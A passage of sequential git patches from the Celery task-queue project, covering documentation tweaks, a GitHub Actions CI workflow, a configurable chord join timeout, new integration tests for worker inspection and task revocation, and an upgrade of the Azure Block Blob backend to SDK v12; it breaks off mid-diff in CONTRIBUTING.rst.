first-steps-with-celery next-steps resources From 1afe22daab2978ce4ea7269e7de3b9f5c0e20d34 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Sun, 20 Dec 2020 04:23:17 +0100 Subject: [PATCH 108/415] Mention rpc:// backend in Backend and Brokers page --- docs/getting-started/backends-and-brokers/index.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/getting-started/backends-and-brokers/index.rst b/docs/getting-started/backends-and-brokers/index.rst index 463fdc7615c..ac872b9aeed 100644 --- a/docs/getting-started/backends-and-brokers/index.rst +++ b/docs/getting-started/backends-and-brokers/index.rst @@ -76,10 +76,12 @@ RabbitMQ RabbitMQ is a broker. -RabbitMQ handles larger messages better than Redis, however if many messages are coming in very quickly, scaling can become a concern and Redis or SQS should be considered unless RabbitMQ is running at very large scale. +**As a Broker:** RabbitMQ handles larger messages better than Redis, however if many messages are coming in very quickly, scaling can become a concern and Redis or SQS should be considered unless RabbitMQ is running at very large scale. :ref:`See documentation for details ` +**As a Backend:** RabbitMQ can store results via ``rpc://`` backend. This backend creates separate temporary queue for each new result of a task call. Creating new queue for each task call can be a bottleneck for high volume usage. + *Note: RabbitMQ (as the broker) and Redis (as the backend) are very commonly used together. If more guaranteed long-term persistence is needed from the result store, consider using PostgreSQL or MySQL (through SQLAlchemy), Cassandra, or a custom defined backend.* SQS From 06eba1556525c497f9417540b6aa49279fcdf43f Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Sun, 20 Dec 2020 09:53:13 +0100 Subject: [PATCH 109/415] Fix information about rpc:// backend --- docs/getting-started/backends-and-brokers/index.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/backends-and-brokers/index.rst b/docs/getting-started/backends-and-brokers/index.rst index ac872b9aeed..d50b0b5e526 100644 --- a/docs/getting-started/backends-and-brokers/index.rst +++ b/docs/getting-started/backends-and-brokers/index.rst @@ -80,7 +80,7 @@ RabbitMQ is a broker. :ref:`See documentation for details ` -**As a Backend:** RabbitMQ can store results via ``rpc://`` backend. This backend creates separate temporary queue for each new result of a task call. Creating new queue for each task call can be a bottleneck for high volume usage. +**As a Backend:** RabbitMQ can store results via ``rpc://`` backend. This backend creates separate temporary queue for each client. *Note: RabbitMQ (as the broker) and Redis (as the backend) are very commonly used together. If more guaranteed long-term persistence is needed from the result store, consider using PostgreSQL or MySQL (through SQLAlchemy), Cassandra, or a custom defined backend.* From 3546059338bea70bab7ef9d961b00c161938b15e Mon Sep 17 00:00:00 2001 From: 0xflotus <0xflotus@gmail.com> Date: Wed, 30 Dec 2020 02:53:04 +0100 Subject: [PATCH 110/415] enabled syntax highlighting --- README.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.rst b/README.rst index e1cdae5ee0e..3017bdf04db 100644 --- a/README.rst +++ b/README.rst @@ -116,7 +116,9 @@ Celery is... It has an active, friendly community you can talk to for support, like at our `mailing-list`_, or the IRC channel. - Here's one of the simplest applications you can make:: + Here's one of the simplest applications you can make: + + .. code-block:: python from celery import Celery From 2dd6769d1f24d4af8a7edb66f8de9f0f6ee1c371 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 5 Jan 2021 03:06:38 +0600 Subject: [PATCH 111/415] WIP - initial github action migrations (#6547) * initial github action migrations * add more settings * add github-actions block to tox.ini * apt packages install block * apt packages install block force * rename py env list --- .github/workflows/python-package.yml | 55 ++++++++++++++++++++++++++++ tox.ini | 8 ++++ 2 files changed, 63 insertions(+) create mode 100644 .github/workflows/python-package.yml diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml new file mode 100644 index 00000000000..190cf18ad54 --- /dev/null +++ b/.github/workflows/python-package.yml @@ -0,0 +1,55 @@ +# This workflow will install Python dependencies, run tests and lint with a variety of Python versions +# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions + +name: Celery + +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ['3.6', '3.7', '3.8', '3.9', 'pypy3'] + + steps: + - name: Install apt packages + run: | + sudo apt-get install -f libcurl4-openssl-dev libssl-dev gnutls-dev httping expect + - uses: actions/checkout@v2 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + + - name: Get pip cache dir + id: pip-cache + run: | + echo "::set-output name=dir::$(pip cache dir)" + - name: Cache + uses: actions/cache@v2 + with: + path: ${{ steps.pip-cache.outputs.dir }} + key: + ${{ matrix.python-version }}-v1-${{ hashFiles('**/setup.py') }} + restore-keys: | + ${{ matrix.python-version }}-v1- + - name: Install dependencies + run: | + python -m pip install --upgrade pip tox tox-gh-actions + python -m pip install flake8 pytest + if [ -f requirements.txt ]; then pip install -r requirements.txt; fi + - name: Lint with flake8 + run: | + # stop the build if there are Python syntax errors or undefined names + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - name: Run Tox + run: | + tox -v diff --git a/tox.ini b/tox.ini index efdfa1c56be..2196d3d8d47 100644 --- a/tox.ini +++ b/tox.ini @@ -8,6 +8,14 @@ envlist = configcheck bandit +[gh-actions] +python = + 3.6: 3.6 + 3.7: 3.7 + 3.8: 3.8 + 3.9: 3.9 + pypy3: pypy3 + [testenv] deps= -r{toxinidir}/requirements/default.txt From 3111feb9e5b279ec066235b4a5225180aedb20d0 Mon Sep 17 00:00:00 2001 From: Felix Yan Date: Thu, 7 Jan 2021 07:02:48 +0800 Subject: [PATCH 112/415] Correct a typo in multi.py --- celery/bin/multi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/bin/multi.py b/celery/bin/multi.py index 82a86a6129e..3a9e026b88a 100644 --- a/celery/bin/multi.py +++ b/celery/bin/multi.py @@ -67,7 +67,7 @@ $ celery multi show 10 -l INFO -Q:1-3 images,video -Q:4,5 data -Q default -L:4,5 DEBUG - $ # Additional options are added to each celery worker' comamnd, + $ # Additional options are added to each celery worker's command, $ # but you can also modify the options for ranges of, or specific workers $ # 3 workers: Two with 3 processes, and one with 10 processes. From f460b42108d80c7f68884be3e953838bfcf5715f Mon Sep 17 00:00:00 2001 From: tumb1er Date: Tue, 5 Jan 2021 10:39:52 +0300 Subject: [PATCH 113/415] Uncomment couchbase requirements in ci --- requirements/test-ci-default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/test-ci-default.txt b/requirements/test-ci-default.txt index fdcf4684733..953ed9aecc7 100644 --- a/requirements/test-ci-default.txt +++ b/requirements/test-ci-default.txt @@ -12,7 +12,7 @@ -r extras/thread.txt -r extras/elasticsearch.txt -r extras/couchdb.txt -#-r extras/couchbase.txt +-r extras/couchbase.txt -r extras/arangodb.txt -r extras/consul.txt -r extras/cosmosdbsql.txt From 7d6c9e4a397f532da5e6c9f72c163af1a9f8cc90 Mon Sep 17 00:00:00 2001 From: tumb1er Date: Tue, 5 Jan 2021 10:40:07 +0300 Subject: [PATCH 114/415] Use result_chord_join_timeout instead of hardcoded default value --- celery/backends/base.py | 4 +++- celery/backends/redis.py | 5 ++++- t/unit/backends/test_base.py | 12 ++++++++++++ t/unit/backends/test_redis.py | 15 +++++++++++++++ 4 files changed, 34 insertions(+), 2 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 1aac2a0fc95..22fe0c79cb9 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -928,7 +928,9 @@ def on_chord_part_return(self, request, state, result, **kwargs): j = deps.join_native if deps.supports_native_join else deps.join try: with allow_join_result(): - ret = j(timeout=3.0, propagate=True) + ret = j( + timeout=app.conf.result_chord_join_timeout, + propagate=True) except Exception as exc: # pylint: disable=broad-except try: culprit = next(deps._failed_join_report()) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index dd3677f569c..e767de05c58 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -469,7 +469,10 @@ def on_chord_part_return(self, request, state, result, else header_result.join ) with allow_join_result(): - resl = join_func(timeout=3.0, propagate=True) + resl = join_func( + timeout=app.conf.result_chord_join_timeout, + propagate=True + ) else: # Otherwise simply extract and decode the results we # stashed along the way, which should be faster for large diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 0e4bb133c85..6f54bdf37f1 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -786,6 +786,18 @@ def callback(result): callback.backend.fail_from_current_stack = Mock() yield task, deps, cb + def test_chord_part_return_timeout(self): + with self._chord_part_context(self.b) as (task, deps, _): + try: + self.app.conf.result_chord_join_timeout += 1.0 + self.b.on_chord_part_return(task.request, 'SUCCESS', 10) + finally: + self.app.conf.result_chord_join_timeout -= 1.0 + + self.b.expire.assert_not_called() + deps.delete.assert_called_with() + deps.join_native.assert_called_with(propagate=True, timeout=4.0) + def test_chord_part_return_propagate_set(self): with self._chord_part_context(self.b) as (task, deps, _): self.b.on_chord_part_return(task.request, 'SUCCESS', 10) diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index f534077a4fd..445a9bb10e7 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1012,6 +1012,21 @@ def test_apply_chord_complex_header(self): mock_header_result.save.assert_called_once_with(backend=self.b) mock_header_result.save.reset_mock() + def test_on_chord_part_return_timeout(self, complex_header_result): + tasks = [self.create_task(i) for i in range(10)] + random.shuffle(tasks) + try: + self.app.conf.result_chord_join_timeout += 1.0 + for task, result_val in zip(tasks, itertools.cycle((42, ))): + self.b.on_chord_part_return( + task.request, states.SUCCESS, result_val, + ) + finally: + self.app.conf.result_chord_join_timeout -= 1.0 + + join_func = complex_header_result.return_value.join_native + join_func.assert_called_once_with(timeout=4.0, propagate=True) + @pytest.mark.parametrize("supports_native_join", (True, False)) def test_on_chord_part_return( self, complex_header_result, supports_native_join, From 79a65d17284908bba3380840e2ac017c5bb27308 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Fri, 18 Dec 2020 00:22:40 +0100 Subject: [PATCH 115/415] Added integration tests for control.inspect() --- t/integration/test_inspect.py | 229 ++++++++++++++++++++++++++++++++++ 1 file changed, 229 insertions(+) create mode 100644 t/integration/test_inspect.py diff --git a/t/integration/test_inspect.py b/t/integration/test_inspect.py new file mode 100644 index 00000000000..af5cd7dcfd6 --- /dev/null +++ b/t/integration/test_inspect.py @@ -0,0 +1,229 @@ +import os +from datetime import datetime, timedelta +from unittest.mock import ANY +from time import sleep + +import pytest + +from celery.utils.nodenames import anon_nodename + +from .tasks import sleeping, add + +NODENAME = anon_nodename() + +_flaky = pytest.mark.flaky(reruns=5, reruns_delay=2) +_timeout = pytest.mark.timeout(timeout=300) + + +def flaky(fn): + return _timeout(_flaky(fn)) + + +@pytest.fixture() +def inspect(manager): + return manager.app.control.inspect() + + +class test_Inspect: + """Integration tests fo app.control.inspect() API""" + + @flaky + def test_ping(self, inspect): + """Tests pinging the worker""" + ret = inspect.ping() + assert len(ret) == 1 + assert ret[NODENAME] == {'ok': 'pong'} + # TODO: Check ping() is returning None after stopping worker. + # This is tricky since current test suite does not support stopping of + # the worker. + + @flaky + def test_clock(self, inspect): + """Tests getting clock information from worker""" + ret = inspect.clock() + assert len(ret) == 1 + assert ret[NODENAME]['clock'] > 0 + + @flaky + def test_registered(self, inspect): + """Tests listing registered tasks""" + ret = inspect.registered() + assert len(ret) == 1 + # TODO: We can check also the values of the registered methods + len(ret[NODENAME]) > 0 + + @flaky + def test_active_queues(self, inspect): + """Tests listing active queues""" + ret = inspect.active_queues() + assert len(ret) == 1 + assert ret[NODENAME] == [ + { + 'alias': None, + 'auto_delete': False, + 'binding_arguments': None, + 'bindings': [], + 'consumer_arguments': None, + 'durable': True, + 'exchange': { + 'arguments': None, + 'auto_delete': False, + 'delivery_mode': None, + 'durable': True, + 'name': 'celery', + 'no_declare': False, + 'passive': False, + 'type': 'direct' + }, + 'exclusive': False, + 'expires': None, + 'max_length': None, + 'max_length_bytes': None, + 'max_priority': None, + 'message_ttl': None, + 'name': 'celery', + 'no_ack': False, + 'no_declare': None, + 'queue_arguments': None, + 'routing_key': 'celery'} + ] + + @flaky + def test_active(self, inspect): + """Tests listing active tasks""" + res = sleeping.delay(5) + sleep(1) + ret = inspect.active() + assert len(ret) == 1 + assert ret[NODENAME] == [ + { + 'id': res.task_id, + 'name': 't.integration.tasks.sleeping', + 'args': [5], + 'kwargs': {}, + 'type': 't.integration.tasks.sleeping', + 'hostname': ANY, + 'time_start': ANY, + 'acknowledged': True, + 'delivery_info': { + 'exchange': '', + 'routing_key': 'celery', + 'priority': 0, + 'redelivered': False + }, + 'worker_pid': ANY + } + ] + + @flaky + def test_scheduled(self, inspect): + """Tests listing scheduled tasks""" + exec_time = datetime.utcnow() + timedelta(seconds=5) + res = add.apply_async([1, 2], {'z': 3}, eta=exec_time) + ret = inspect.scheduled() + assert len(ret) == 1 + assert ret[NODENAME] == [ + { + 'eta': exec_time.strftime('%Y-%m-%dT%H:%M:%S.%f') + '+00:00', + 'priority': 6, + 'request': { + 'id': res.task_id, + 'name': 't.integration.tasks.add', + 'args': [1, 2], + 'kwargs': {'z': 3}, + 'type': 't.integration.tasks.add', + 'hostname': ANY, + 'time_start': None, + 'acknowledged': False, + 'delivery_info': { + 'exchange': '', + 'routing_key': 'celery', + 'priority': 0, + 'redelivered': False + }, + 'worker_pid': None + } + } + ] + + @flaky + def test_query_task(self, inspect): + """Task that does not exist or is finished""" + ret = inspect.query_task('d08b257e-a7f1-4b92-9fea-be911441cb2a') + assert len(ret) == 1 + assert ret[NODENAME] == {} + + # Task in progress + res = sleeping.delay(5) + sleep(1) + ret = inspect.query_task(res.task_id) + assert len(ret) == 1 + assert ret[NODENAME] == { + res.task_id: [ + 'active', { + 'id': res.task_id, + 'name': 't.integration.tasks.sleeping', + 'args': [5], + 'kwargs': {}, + 'type': 't.integration.tasks.sleeping', + 'hostname': NODENAME, + 'time_start': ANY, + 'acknowledged': True, + 'delivery_info': { + 'exchange': '', + 'routing_key': 'celery', + 'priority': 0, + 'redelivered': False + }, + # worker is running in the same process as separate thread + 'worker_pid': ANY + } + ] + } + + @flaky + def test_stats(self, inspect): + """tests fetching statistics""" + ret = inspect.stats() + assert len(ret) == 1 + assert ret[NODENAME]['pool']['max-concurrency'] == 1 + assert len(ret[NODENAME]['pool']['processes']) == 1 + assert ret[NODENAME]['uptime'] > 0 + # worker is running in the same process as separate thread + assert ret[NODENAME]['pid'] == os.getpid() + + @flaky + def test_report(self, inspect): + """Tests fetching report""" + ret = inspect.report() + assert len(ret) == 1 + assert ret[NODENAME] == {'ok': ANY} + + @flaky + def test_revoked(self, inspect): + """Testing revoking of task""" + # Fill the queue with tasks to fill the queue + for _ in range(4): + sleeping.delay(2) + # Execute task and revoke it + result = add.apply_async((1, 1)) + result.revoke() + ret = inspect.revoked() + assert len(ret) == 1 + assert result.task_id in ret[NODENAME] + + @flaky + def test_conf(self, inspect): + """Tests getting configuration""" + ret = inspect.conf() + assert len(ret) == 1 + assert ret[NODENAME]['worker_hijack_root_logger'] == ANY + assert ret[NODENAME]['worker_log_color'] == ANY + assert ret[NODENAME]['accept_content'] == ANY + assert ret[NODENAME]['enable_utc'] == ANY + assert ret[NODENAME]['timezone'] == ANY + assert ret[NODENAME]['broker_url'] == ANY + assert ret[NODENAME]['result_backend'] == ANY + assert ret[NODENAME]['broker_heartbeat'] == ANY + assert ret[NODENAME]['deprecated_settings'] == ANY + assert ret[NODENAME]['include'] == ANY From 586c69fd23159f6b73aaa5e85352248dab601047 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 21 Dec 2020 00:36:48 +0100 Subject: [PATCH 116/415] Added integration test for revoking a task --- t/integration/test_tasks.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/t/integration/test_tasks.py b/t/integration/test_tasks.py index ba5f4fbba77..17d59f9851d 100644 --- a/t/integration/test_tasks.py +++ b/t/integration/test_tasks.py @@ -175,6 +175,22 @@ def test_fail(self, manager): assert result.failed() is True assert result.successful() is False + @flaky + def test_revoked(self, manager): + """Testing revoking of task""" + # Fill the queue with tasks to fill the queue + for _ in range(4): + sleeping.delay(2) + # Execute task and revoke it + result = add.apply_async((1, 1)) + result.revoke() + with pytest.raises(celery.exceptions.TaskRevokedError): + result.get() + assert result.status == 'REVOKED' + assert result.ready() is True + assert result.failed() is False + assert result.successful() is False + @flaky def test_wrong_arguments(self, manager): """Tests that proper exceptions are raised when task is called with wrong arguments.""" From 2c6f46d4a61a8256bdc4f6ef348dabf7011ccd9a Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 21 Dec 2020 13:21:47 +0100 Subject: [PATCH 117/415] Improve test_registered integration test --- t/integration/test_inspect.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/t/integration/test_inspect.py b/t/integration/test_inspect.py index af5cd7dcfd6..49275622aa2 100644 --- a/t/integration/test_inspect.py +++ b/t/integration/test_inspect.py @@ -1,4 +1,5 @@ import os +import re from datetime import datetime, timedelta from unittest.mock import ANY from time import sleep @@ -47,10 +48,17 @@ def test_clock(self, inspect): @flaky def test_registered(self, inspect): """Tests listing registered tasks""" + # TODO: We can check also the exact values of the registered methods ret = inspect.registered() assert len(ret) == 1 - # TODO: We can check also the values of the registered methods len(ret[NODENAME]) > 0 + for task_name in ret[NODENAME]: + assert isinstance(task_name, str) + + ret = inspect.registered('name') + for task_info in ret[NODENAME]: + # task_info is in form 'TASK_NAME [name=TASK_NAME]' + assert re.fullmatch(r'\S+ \[name=\S+\]', task_info) @flaky def test_active_queues(self, inspect): From f6ca74558a3afe8ea0038dd6b480844ce45958f6 Mon Sep 17 00:00:00 2001 From: JanusAsmussen <46710143+JanusAsmussen@users.noreply.github.com> Date: Sat, 9 Jan 2021 15:44:53 +0100 Subject: [PATCH 118/415] Upgrade AzureBlockBlob storage backend to use Azure blob storage library v12 (#6580) * Upgrade AzureBlockBlob backend to use library azure-storage-blob v12 * Fix minor bug in AzureBlockBlob backend unit test * Upgrade AzureBlockBlob backend to use library azure-storage-blob v12 * Fix minor bug in AzureBlockBlob backend unit test * Bug fixes in AzureBlockBlob class and unit tests * Update docker-compose.yml to use Microsoft's official azurite docker image Co-authored-by: Janus Asmussen --- celery/backends/azureblockblob.py | 92 +++++++++++--------------- docker/docker-compose.yml | 2 +- requirements/extras/azureblockblob.txt | 4 +- t/unit/backends/test_azureblockblob.py | 60 ++++++++++------- 4 files changed, 78 insertions(+), 80 deletions(-) diff --git a/celery/backends/azureblockblob.py b/celery/backends/azureblockblob.py index f287200dcc7..93ff600a23d 100644 --- a/celery/backends/azureblockblob.py +++ b/celery/backends/azureblockblob.py @@ -8,13 +8,11 @@ from .base import KeyValueStoreBackend try: - from azure import storage as azurestorage - from azure.common import AzureMissingResourceHttpError - from azure.storage.blob import BlockBlobService - from azure.storage.common.retry import ExponentialRetry -except ImportError: # pragma: no cover - azurestorage = BlockBlobService = ExponentialRetry = \ - AzureMissingResourceHttpError = None # noqa + import azure.storage.blob as azurestorage + from azure.storage.blob import BlobServiceClient + from azure.core.exceptions import ResourceExistsError, ResourceNotFoundError +except ImportError: + azurestorage = None __all__ = ("AzureBlockBlobBackend",) @@ -27,17 +25,14 @@ class AzureBlockBlobBackend(KeyValueStoreBackend): def __init__(self, url=None, container_name=None, - retry_initial_backoff_sec=None, - retry_increment_base=None, - retry_max_attempts=None, *args, **kwargs): super().__init__(*args, **kwargs) - if azurestorage is None: + if azurestorage is None or azurestorage.__version__ < '12': raise ImproperlyConfigured( - "You need to install the azure-storage library to use the " - "AzureBlockBlob backend") + "You need to install the azure-storage-blob v12 library to" + "use the AzureBlockBlob backend") conf = self.app.conf @@ -47,18 +42,6 @@ def __init__(self, container_name or conf["azureblockblob_container_name"]) - self._retry_initial_backoff_sec = ( - retry_initial_backoff_sec or - conf["azureblockblob_retry_initial_backoff_sec"]) - - self._retry_increment_base = ( - retry_increment_base or - conf["azureblockblob_retry_increment_base"]) - - self._retry_max_attempts = ( - retry_max_attempts or - conf["azureblockblob_retry_max_attempts"]) - @classmethod def _parse_url(cls, url, prefix="azureblockblob://"): connection_string = url[len(prefix):] @@ -68,26 +51,22 @@ def _parse_url(cls, url, prefix="azureblockblob://"): return connection_string @cached_property - def _client(self): - """Return the Azure Storage Block Blob service. + def _blob_service_client(self): + """Return the Azure Storage Blob service client. If this is the first call to the property, the client is created and the container is created if it doesn't yet exist. """ - client = BlockBlobService(connection_string=self._connection_string) - - created = client.create_container( - container_name=self._container_name, fail_on_exist=False) - - if created: - LOGGER.info("Created Azure Blob Storage container %s", - self._container_name) + client = BlobServiceClient.from_connection_string(self._connection_string) - client.retry = ExponentialRetry( - initial_backoff=self._retry_initial_backoff_sec, - increment_base=self._retry_increment_base, - max_attempts=self._retry_max_attempts).retry + try: + client.create_container(name=self._container_name) + msg = f"Container created with name {self._container_name}." + except ResourceExistsError: + msg = f"Container with name {self._container_name} already." \ + "exists. This will not be created." + LOGGER.info(msg) return client @@ -96,16 +75,18 @@ def get(self, key): Args: key: The key for which to read the value. - """ key = bytes_to_str(key) - LOGGER.debug("Getting Azure Block Blob %s/%s", - self._container_name, key) + LOGGER.debug("Getting Azure Block Blob %s/%s", self._container_name, key) + + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=key, + ) try: - return self._client.get_blob_to_text( - self._container_name, key).content - except AzureMissingResourceHttpError: + return blob_client.download_blob().readall().decode() + except ResourceNotFoundError: return None def set(self, key, value): @@ -117,11 +98,14 @@ def set(self, key, value): """ key = bytes_to_str(key) - LOGGER.debug("Creating Azure Block Blob at %s/%s", - self._container_name, key) + LOGGER.debug(f"Creating azure blob at {self._container_name}/{key}") - return self._client.create_blob_from_text( - self._container_name, key, value) + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=key, + ) + + blob_client.upload_blob(value, overwrite=True) def mget(self, keys): """Read all the values for the provided keys. @@ -140,7 +124,11 @@ def delete(self, key): """ key = bytes_to_str(key) - LOGGER.debug("Deleting Azure Block Blob at %s/%s", - self._container_name, key) + LOGGER.debug(f"Deleting azure blob at {self._container_name}/{key}") + + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=key, + ) - self._client.delete_blob(self._container_name, key) + blob_client.delete_blob() diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index 428fe204475..d0c4c34179e 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -36,4 +36,4 @@ services: image: dwmkerr/dynamodb:38 azurite: - image: arafato/azurite:2.6.5 + image: mcr.microsoft.com/azure-storage/azurite:3.10.0 diff --git a/requirements/extras/azureblockblob.txt b/requirements/extras/azureblockblob.txt index 37c66507d89..e533edb7e76 100644 --- a/requirements/extras/azureblockblob.txt +++ b/requirements/extras/azureblockblob.txt @@ -1,3 +1 @@ -azure-storage==0.36.0 -azure-common==1.1.5 -azure-storage-common==1.1.0 +azure-storage-blob==12.6.0 diff --git a/t/unit/backends/test_azureblockblob.py b/t/unit/backends/test_azureblockblob.py index 969993290d4..596764bc174 100644 --- a/t/unit/backends/test_azureblockblob.py +++ b/t/unit/backends/test_azureblockblob.py @@ -41,55 +41,67 @@ def test_bad_connection_url(self): with pytest.raises(ImproperlyConfigured): AzureBlockBlobBackend._parse_url("") - @patch(MODULE_TO_MOCK + ".BlockBlobService") + @patch(MODULE_TO_MOCK + ".BlobServiceClient") def test_create_client(self, mock_blob_service_factory): - mock_blob_service_instance = Mock() - mock_blob_service_factory.return_value = mock_blob_service_instance + mock_blob_service_client_instance = Mock() + mock_blob_service_factory.from_connection_string.return_value = mock_blob_service_client_instance backend = AzureBlockBlobBackend(app=self.app, url=self.url) # ensure container gets created on client access... - assert mock_blob_service_instance.create_container.call_count == 0 - assert backend._client is not None - assert mock_blob_service_instance.create_container.call_count == 1 + assert mock_blob_service_client_instance.create_container.call_count == 0 + assert backend._blob_service_client is not None + assert mock_blob_service_client_instance.create_container.call_count == 1 # ...but only once per backend instance - assert backend._client is not None - assert mock_blob_service_instance.create_container.call_count == 1 + assert backend._blob_service_client is not None + assert mock_blob_service_client_instance.create_container.call_count == 1 - @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._client") + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_get(self, mock_client): self.backend.get(b"mykey") - mock_client.get_blob_to_text.assert_called_once_with( - "celery", "mykey") + mock_client.get_blob_client \ + .assert_called_once_with(blob="mykey", container="celery") - @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._client") + mock_client.get_blob_client.return_value \ + .download_blob.return_value \ + .readall.return_value \ + .decode.assert_called_once() + + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_get_missing(self, mock_client): - mock_client.get_blob_to_text.side_effect = \ - azureblockblob.AzureMissingResourceHttpError("Missing", 404) + mock_client.get_blob_client.return_value \ + .download_blob.return_value \ + .readall.side_effect = azureblockblob.ResourceNotFoundError assert self.backend.get(b"mykey") is None - @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._client") + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_set(self, mock_client): self.backend._set_with_state(b"mykey", "myvalue", states.SUCCESS) - mock_client.create_blob_from_text.assert_called_once_with( - "celery", "mykey", "myvalue") + mock_client.get_blob_client.assert_called_once_with( + container="celery", blob="mykey") + + mock_client.get_blob_client.return_value \ + .upload_blob.assert_called_once_with("myvalue", overwrite=True) - @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._client") + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_mget(self, mock_client): keys = [b"mykey1", b"mykey2"] self.backend.mget(keys) - mock_client.get_blob_to_text.assert_has_calls( - [call("celery", "mykey1"), - call("celery", "mykey2")]) + mock_client.get_blob_client.assert_has_calls( + [call(blob=key.decode(), container='celery') for key in keys], + any_order=True,) - @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._client") + @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") def test_delete(self, mock_client): self.backend.delete(b"mykey") - mock_client.delete_blob.assert_called_once_with( - "celery", "mykey") + mock_client.get_blob_client.assert_called_once_with( + container="celery", blob="mykey") + + mock_client.get_blob_client.return_value \ + .delete_blob.assert_called_once() From 8ff578f3e1e39475096a83904d302982fe998b9d Mon Sep 17 00:00:00 2001 From: Jorrit Date: Sun, 10 Jan 2021 14:23:05 +0100 Subject: [PATCH 119/415] pass_context for handle_preload_options decorator (#6583) handle_reload_options requires the ctx argument. --- celery/bin/graph.py | 3 ++- celery/bin/list.py | 3 ++- celery/bin/logtool.py | 3 ++- celery/bin/upgrade.py | 3 ++- 4 files changed, 8 insertions(+), 4 deletions(-) diff --git a/celery/bin/graph.py b/celery/bin/graph.py index 93b01e808fa..60218335d61 100644 --- a/celery/bin/graph.py +++ b/celery/bin/graph.py @@ -9,8 +9,9 @@ @click.group() +@click.pass_context @handle_preload_options -def graph(): +def graph(ctx): """The ``celery graph`` command.""" diff --git a/celery/bin/list.py b/celery/bin/list.py index 06c4fbf28bf..f170e627223 100644 --- a/celery/bin/list.py +++ b/celery/bin/list.py @@ -5,8 +5,9 @@ @click.group(name="list") +@click.pass_context @handle_preload_options -def list_(): +def list_(ctx): """Get info from broker. Note: diff --git a/celery/bin/logtool.py b/celery/bin/logtool.py index 83e8064bdb0..ae64c3e473f 100644 --- a/celery/bin/logtool.py +++ b/celery/bin/logtool.py @@ -111,8 +111,9 @@ def report(self): @click.group() +@click.pass_context @handle_preload_options -def logtool(): +def logtool(ctx): """The ``celery logtool`` command.""" diff --git a/celery/bin/upgrade.py b/celery/bin/upgrade.py index e083995b674..cd9a695b702 100644 --- a/celery/bin/upgrade.py +++ b/celery/bin/upgrade.py @@ -11,8 +11,9 @@ @click.group() +@click.pass_context @handle_preload_options -def upgrade(): +def upgrade(ctx): """Perform upgrade between versions.""" From 8ce3badd59e183592596f43a2215c4bb41193a5f Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 11 Jan 2021 20:07:24 +0600 Subject: [PATCH 120/415] Docker update (#6586) * update dockerfile * update conflicting requirements * update conflicting requirements * update to pypy3 & pytest requirements * update python versions in latest contribution docs --- CONTRIBUTING.rst | 15 +++++++-------- docker/Dockerfile | 30 +++++++++--------------------- docker/scripts/install-pyenv.sh | 8 +++----- requirements/dev.txt | 4 ++-- requirements/test.txt | 2 +- 5 files changed, 22 insertions(+), 37 deletions(-) diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index e869a4f45fe..12a2aec700d 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -292,8 +292,7 @@ Branches Current active version branches: * dev (which git calls "master") (https://github.com/celery/celery/tree/master) -* 4.2 (https://github.com/celery/celery/tree/4.2) -* 4.1 (https://github.com/celery/celery/tree/4.1) +* 4.5 (https://github.com/celery/celery/tree/v4.5) * 3.1 (https://github.com/celery/celery/tree/3.1) You can see the state of any branch by looking at the Changelog: @@ -494,18 +493,18 @@ Some useful commands to run: **Note:** This command will run tests for every environment defined in :file:`tox.ini`. It takes a while. -* ``pyenv exec python{2.7,3.5,3.6,3.7,3.8} -m pytest t/unit`` +* ``pyenv exec python{3.6,3.7,3.8} -m pytest t/unit`` To run unit tests using pytest. - **Note:** ``{2.7,3.5,3.6,3.7,3.8}`` means you can use any of those options. + **Note:** 